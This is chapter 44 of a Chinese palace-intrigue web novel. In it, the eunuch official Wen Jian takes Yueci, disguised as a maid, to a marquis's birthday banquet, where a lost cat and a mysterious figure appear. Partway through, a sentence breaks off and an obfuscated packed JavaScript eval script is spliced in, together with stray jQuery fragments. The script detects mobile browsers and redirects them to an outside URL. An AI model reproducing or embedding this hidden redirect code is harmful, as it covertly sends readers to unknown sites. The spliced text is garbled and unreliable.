44. 铃铛

作品:《驯宦

    定文侯生辰宴这日,飞鸟阁出行的阵仗比往日都要高调。数十名黑鸟卫骑着高头大马护送在红顶马车两侧,后方是随行伺候的侍女,再后方是一些小厮,抬着装了奇珍异宝的红木箱子。


    一行人几乎占据了一整条街道,停在飞鸟阁前默然等候。


    闻鉴慢悠悠地从飞鸟阁内走出来。


    他今日穿了一身石绿的圆领广袖长袍,外面早早披了一件雪白的大氅,比起往日的懒散,此时多了几分雍容的华贵之气。


    所有人都在等他一个,他却不紧不慢走到马车前。车夫恭恭敬敬放下脚蹬,青雀神色肃穆立在旁边,只待大人上马后便可下令出发。


    闻鉴看向四周,不知道是在找什么,目光穿过层层人群,最后抬手指着站在马车斜后方一个穿着藕粉色衣裙的侍女,道:“过来。”


    那名侍女大概没想到闻鉴会叫她,愣了愣,却是踌躇着没有上前。


    麻雀皱眉,觉着耽误了时间,便下马朝那名侍女走去,拿出黑鸟卫的气势,边喊道:“掌印让你过去,磨磨蹭蹭的……”


    近了,看清了那名侍女的脸。


    侍女正抬眼瞪着他。


    麻雀:“……”这两人又在玩什么呢。


    他声音立马放柔了些,“不如你就过去吧,不然可要耽误不少时间了。”


    这侍女不是别人,正是月慈。


    月慈本来不想搭理闻鉴,架不住周围无数双眼睛朝她看了过来,只好一边在心里暗骂,一边硬着头皮走到闻鉴身边。


    不情不愿地喊了声:“掌印。”


    闻鉴只当看不见她眼底迸发的杀意,心想机会难得,便有意带着玩味道:“府里没人教你规矩吗?”


    报复,绝对是报复!


    月慈深吸一口气,劝自己小不忍则乱大谋,随后朝着闻鉴伸出小臂,去搀他。


    闻鉴刚将手放上去,立马被什么东西刺了一下收回手,只见掌心泛了一粒血珠。


    月慈皮笑肉不笑地看他:“怎么了掌印?”


    闻鉴浅笑:“无妨。”


    随即重重将手压在她小臂上,渗出的血染红了袖口。


    月慈一惊,心中低骂一句:这个疯子!


    闻鉴心满意足地上了马车,月慈本想转身回到后面,对方却在里面淡声道:“你就随行在马车旁边。”


    月慈咬牙切齿地应了声:“……是。”


    队伍这才行动起来,出发前往定文侯府。


    闻鉴将车帘掀开,本来以为月慈会是一脸怨气深重的模样,可那张脸上的神色竟意外的平静。


    他当然知道月慈去侯府的目的,但就算此刻的她知道一切,也未必能将那人扳倒,甚至有可能枉送性命。


    然而月慈性子倔强,从不考虑这些,他便想着,也跟她胡闹一回,做一次棋局之外的决定。


    闻鉴看她一脸正经,便想着逗逗她:“要不要上来?”


    月慈目视前方,假装没听到。


    她是疯了不成,这种时候跟他坐一辆马车,生怕自己不够引人注意么。


    闻鉴不折不挠,又问:“走累了么,要不要让队伍停下休息会?”


    月慈:“……”


    “你的衣袖脏了,一会儿记得遮着些。”


    “……”


    月慈算是明白了,这家伙是逮到了机会故意的。


    闻鉴废话无数,月慈听了片刻,脸上的从容瞬间坍塌,低吼了一声:“给我闭嘴!”


    周围的黑鸟卫齐刷刷看了过来,月慈顿觉头大:堂堂掌印竟然跟个孩子般幼稚。


    好在闻鉴目的达成,没再继续招惹她,似是轻笑了一下,放下车帘。


    月慈对定文侯金庭之的事不太熟悉,只知道他是太后的母族,行事比较低调,就连侯府都特意选在较为冷清的地方。


    位置虽冷清,但今日是他的生辰,来往宾客众多,一下子便也热闹了起来。


    闻鉴是目前所到的宾客里阵仗最大的,远远便有人瞧见那红顶马车,侯府管家一眼认出来人,吓得连忙让人进府里通传一声,又让身边小厮去招待其他宾客。


    红顶马车停在了侯府门前,管家笑得咧开嘴,迎上去唤了声:“见过掌印。”


    随即将自己的小臂凑到闻鉴身前要扶他。


    闻鉴淡淡扫他一眼,身形未动,倒是看向了立在一旁的月慈。


    月慈心领神会,上前来搀他。


    管家神色未变,却没说些什么。一些宾客好奇地站在门口,一些来晚了的便在后头张望,想着等闻鉴先进去。


    管家佝着背,说话变得极其小心:“掌印既来了,那陛下……”


    按理说闻鉴就算要来,也该在皇帝尉迟泓身边跟他一起来才对,但这次却是他独自前来,一时管家也看不懂为何。


    闻鉴轻描淡写道:“陛下让咱家先来祝寿,怎么,侯府不欢迎?”


    管家一听,顿时冷汗直流:“不敢不敢。”


    闻鉴也懒得刁难他,只转头看了青雀一眼,青雀走到后方,让人把红木箱子都抬到前头来,命人打开。


    闻鉴道:“这些东西不算多,只是咱家送给定文侯的一点心意。”


    整整十个红木箱,打开的一瞬间,周围的宾客眼睛都看直了。


    红木箱里静静躺着各种奇珍异宝,珠钗首饰,散乱而又随性地直接堆成一团,像是随意取出来的。其中光是一颗夜明珠就有一个拳头大,却可怜兮兮地挤在角落,可想而知这些东西的主人是有多不把它们当一回事。


    来的人哪个不是高门大族,或是贵戚权门,然而就算是他们,也无法随性的拿出这么多东西来。


    更何况,听听他嘴里说的是什么?


    这些东西不算多?


    想来一介阉人都能拥有这么多他们无法随意拿出的东西,一个个望来的目光中便多了些酸味和鄙夷,悄悄在私下里议论开来。


    管家收起瞠目结舌的脸,连忙道:“是,一会儿小人会将掌印的心意转告给侯爷,掌印先请入内吧。”


    闻鉴便气定神闲地朝侯府内走去,周围的人自觉给他让出了一条路来。


    月慈和其她几名侍女低着头跟在他身后。


    府中宾客听到动静一一回头。


    他们怎么可能认不出闻鉴的脸,刹那间脸上的喜色凝固了,眼里只有嫌恶,却不敢表露出来。目光落在闻鉴身后,看到那几名侍女的时候,神色又忽地一变。


    这闻鉴不是好男风么?以前从不带侍女出门,就是那些送进他府中的美人,都被杀了个干净。


    不过最近坊中有传言道,说是这闻鉴最近瞧上了一个姑娘,起初还以为是谣言,但现在看来或许不假,只是不知道谁家姑娘这么倒霉,被这么个毫无人性的家伙看上了。


    倒霉的月慈才进门,身边的青雀忽然对她低声呵斥道:“瞧你这袖口脏的,简直是在丢飞鸟阁的脸!还不赶紧去清理干净!”


    月慈便做出一副恓惶的样子,应了声“是”,低头从几人身后退走了。


    青雀告诉月慈,今日的定文侯府会有她想知道的真相,所以她来了。


    但具体真相会以什么样的形式出现,青雀并没有说明。


    月慈只好先在后院独自摸索一番,无意走到了库房位置,看到一些人正在往里搬东西,门口有人拿了册子正在记录。


    有人看见她,叫住了人,问:“什么人?”


    月慈老实道:“奴婢是飞鸟阁的侍女,方才在前厅弄脏了衣裳,便想着找个地方洗洗。”


    听到“飞鸟阁”三个字,那几个人打量她的眼神登时有几分古怪,垂眸看了眼她的袖口,狐疑道:“你这……好像是血吧。”


    月慈不动声色道:“只是沾染了些果酒,颜色和血有些相近罢了。”她撸起袖子,露出干净的小臂,“您瞧,我身上又没伤。”


    那人半信半疑,好在没有刁难,只为她指了个方向道:“那边就是观心湖,你可以去那洗洗。”


    月慈道了声谢,转身往观心湖的方向走去。穿过一条小径,先是见到一片假山奇石,再走近些才是观心湖,坐落在阳光下波光粼粼。


    月慈蹲在湖边用水清洗袖口时,忽然瞧见对面的林子后闪过几道身影,虽然看不清人,但那几个大红木箱子她却是无比熟悉。


    前来祝寿送的贺礼按理说都会统一收入库房,但她刚从库房过来,那些人去的方向却是和库房相反。


    心中闪过一丝疑惑,月慈随手将湿漉漉的袖口拧了一把,起身准备跟过去看个究竟时,身后有人猛地撞了过来,将她撞向一边差点栽进湖里。


    那人看上去匆匆忙忙,连句话也没说,只留给月慈一道素白的,清瘦高挑的背影。


    起初月慈还没觉得什么,只在心里嘀咕了一句,直到她转过身时忽然意识到一点诡异之处,整个人顿时僵在原地,紧接着脊背窜上了一股冰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240199|163174||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凉。


    身体比脑子更快做出反应,她下意识转身就要朝那道身影追去,身后骤然有人喊住了她。


    是先前为她指路的那人。


    “你怎么还在这,不去前厅伺候着。”


    月慈只好将目光从那头收回,暂时先回到前厅。


    ——


    人还未来齐,一群人便先在前厅说话玩闹。几个年轻的姑娘们不爱与长辈在那说些枯燥无聊的话,便独自占了一块角落聊天解闷。


    她们大多是名门望族的子女,定文侯的小女儿金萱也在其中。


    虽然定文侯行事低调,看着不受重用,但好歹也是侯爷,且是太后金翎的兄长,该巴结的还是得巴结,于是这些姑娘们便以金萱为中心,同她说话,哄她高兴。


    金萱很是喜欢这种被众人围绕的感觉,她怀里抱着一只碧眼白猫,脖子上挂着一个金色的小铃铛,偶尔会随着她抚摸的动作叮当作响。


    另一边几个家族的公子哥正在玩投壶,也不知是谁手劲太大,将箭投歪了,竟径直朝着姑娘们的方向飞了过去。


    好在只是从中间穿过,但还是吓得几人惊叫连连,金萱手里的猫也受了惊吓,猛地从她手里蹿了出去,发出一串铃响。


    “十六!我的十六呢!”


    惊吓之余,金萱慌忙寻找自己的爱猫,那投壶投歪了的少年见状也跑了过来,却被金萱一把揪住了衣领。


    “姓顾的!你投的什么破壶!要是我的猫不见了,我非得把你丢河里去喂鱼!”


    那少年被她晃得脑袋发晕:“好好好,我知道了,我帮你找。”


    结果一转头,恰好看见不远处有一团白绒绒的影子。


    “你看,这不在那吗?”


    金萱顺着他指着方向看去,果然看见她的小十六缩在一个小角落里。正要过去抓它时,那只白猫又是猛地往前一蹿,这次竟是蹿到了一个人的腿上,然后趴在那不走了。


    几人齐刷刷抬眼,先是看见一身石绿的衣袍,继而往上,看见了一张面无表情的脸。


    糟。


    闻鉴垂眸盯着趴在腿上的白猫,因为它突然一扑,他手中的茶水倾洒出来不少,衣襟上湿濡了一块。


    青雀上前,准备将猫抓走,闻鉴却抬了抬手,让他退下。


    那白猫也抬头盯着闻鉴,似是好奇地打量,眼睛绿莹莹的。随后它在闻鉴身上嗅了嗅,伸出一只毛茸茸的爪子拨动闻鉴系在腰间的白色香囊。


    香囊上绣着一只鸟,它一拨,那鸟便像是动起来似的。


    闻鉴:“……”


    他不大高兴地皱眉,直接抬手揪起了白猫脖颈后的软肉,将它整个提了起来。


    那猫倒也乖巧,不挣扎也不乱叫,被提起来后看起来顺从了许多。


    “掌印!”金宣着急忙慌地从另一头奔过来,喘了两口粗气,才道:“这是我的猫,你快还给我!”


    闻鉴并不会像其他人一样哄着她,闻言只道:“你的猫?如何证明。”


    金萱皱眉:“这还能如何证明,不信你看她脖子上的铃铛,上面是不是刻着十六!”


    闻鉴一手翻过白猫脖颈上的铃铛,确实在背面看到了一行小字:十六。


    他沉默片刻,似是若有所思。金萱一急,生怕这传说中的魔头会连只猫也不放过,竟是直接上前去夺。


    闻鉴没有夺人所爱的癖好,便任由金萱将他手里的猫抢走。没成想猫急了,朝着闻鉴的方向“喵喵”叫了两声,看上去很是急切的模样。


    金萱一时没抱住,它便又落在地上,蹭到了闻鉴脚边。


    “奇怪了,十六从不亲近他人的……”


    金萱目光落到了闻鉴腰间的香囊上,朴素的格格不入,心想也许这就是十六亲近他的原因,便问:“掌印,你这香囊打哪买的?”


    闻鉴扫了眼腰间,脑海中紧跟着闪过一张脸。


    眉眼渐渐舒展变得柔和,道:“别人送的,哪都买不到。”


    金萱看着他的表情变化,也跟着想起了最近的传闻,心中一时惊诧,却是过分好奇,于是大着胆子问:“谁?”


    闻鉴神思收敛,闻言瞥了金萱一眼,刚想说些什么,目光忽然落在了她的身后。


    远处的月门下立着一道藕粉色的身影,正面无表情望向这边。明明只是个侍女打扮,但闻鉴硬是看出了几分不怒自威的气势。


    这是他生平第二次,脊背窜上了一股寒意。